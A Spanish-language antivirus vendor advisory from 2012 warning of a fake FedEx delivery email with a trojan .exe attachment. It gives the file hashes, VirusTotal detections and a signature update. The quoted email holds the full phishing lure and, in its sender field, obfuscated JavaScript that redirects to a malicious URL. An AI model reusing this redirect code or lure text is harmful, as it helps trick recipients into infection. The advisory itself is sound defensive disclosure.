Mail malicioso que se está recibiendo con falso remitente FEDEX, anexando fichero malicioso

Se recibe un mail similar a:

mail malicioso:
_______________
Asunto: You need to get a parcel
De: “FedEx Customer Service” <$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to:sat@satinfo.es”>sat@satinfo.es

Delivery information,

Our company’s courier couldn’t make the delivery of parcel.
Reason deny:Postal code isn’t valid.

LOCATION:Aurora
STATUS OF YOUR ITEM: sort order
SERVICE: Expedited Shipping
ITEM NUMBER:U681780648NU
FEATURES: Yes

Postal label is enclosed to the letter.
Print your label and show it at the post office.

Information in brief:
If the parcel isn’t received within 30 working days our company will have the right to claim compensation from you for it’s keeping in the amount of $15.79 for each day of keeping of it.

You can find the information about the procedure and conditions of parcels keeping in the nearest office.
Thank you for attention.
FedEx Customer.
Add: FedEx_Label_ID_Order_83-27-4534US.exe   <—- fichero malicioso anexado

____________

fin del mail

El fichero adjunto resulta ser un malware, que pasamos a controlar a partir del ELISTARA 25.69 de hoy

El preanalisis de virustotal ofrece el siguiente informe:
SHA256: 0a15d7f21eaa55b78d342e830413d10cd8432c2529015c32848be1dcd8590e07
SHA1: 7bcefbb656e72bc5f52c142b5bfb1da8da1ec0da
MD5: f21f5d1b60ddbd5e51e04a1dcac9a754
Tamaño: 364.0 KB ( 372736 bytes )
Nombre: FedEx_Label_ID_Order_83-27-4534US.exe
Tipo: Win32 EXE
Detecciones: 17 / 41
Fecha de análisis: 2012-06-14 10:09:30 UTC ( hace 0 minutos )

01Más detalles
Antivirus Resultado Actualización
AhnLab-V3 – 20120613
AntiVir – 20120614
Antiy-AVL – 20120614
Avast Win32:FakeAV-DMN [Trj] 20120614
AVG FakeAlert.AIZ 20120614
BitDefender Trojan.Generic.KD.649473 20120614
ByteHero – 20120613
CAT-QuickHeal – 20120614
ClamAV – 20120614
Commtouch – 20120614
Comodo – 20120614
Emsisoft Trojan.Win32.FakeAV!IK 20120614
eSafe – 20120612
F-Prot – 20120613
F-Secure Trojan.Generic.KD.649473 20120614
Fortinet W32/Kryptik.EA!tr 20120614
GData Trojan.Generic.KD.649473 20120614
Ikarus Trojan.Win32.FakeAV 20120614
Jiangmin – 20120614
K7AntiVirus – 20120613
Kaspersky Trojan-FakeAV.Win32.SecurityShield.guh 20120614
McAfee FakeAlert-SecurityTool.er 20120614
McAfee-GW-Edition Heuristic.LooksLike.Win32.Suspicious.B 20120613
Microsoft Rogue:Win32/Winwebsec 20120614
NOD32 a variant of Win32/Kryptik.AGWZ 20120614
Norman W32/FakeAV.BCNL 20120613
nProtect Trojan.Generic.KD.649473 20120614
Panda – 20120613
PCTools – 20120614
Rising – 20120614
Sophos Mal/FakeAV-RP 20120614
SUPERAntiSpyware – 20120614
Symantec – 20120614
TheHacker – 20120614
TotalDefense – 20120613
TrendMicro TROJ_GEN.R06CDFE 20120614
TrendMicro-HouseCall – 20120613
VBA32 – 20120614
VIPRE – 20120614
ViRobot – 20120614
VirusBuster – 20120613

Dicha version del ELISTARA 25.69 que lo detecta y elimina, estará disponible en nuestra web a partir de las 19 h CEST de hoy

saludos

ms, 14-6-2012
NOTA: Como siempre, recordamos que no debe ejecutarse ningun fichero recibido adjunto a un mail no solicitado, ni pinchar sobre enlaces o imagenes del mismo…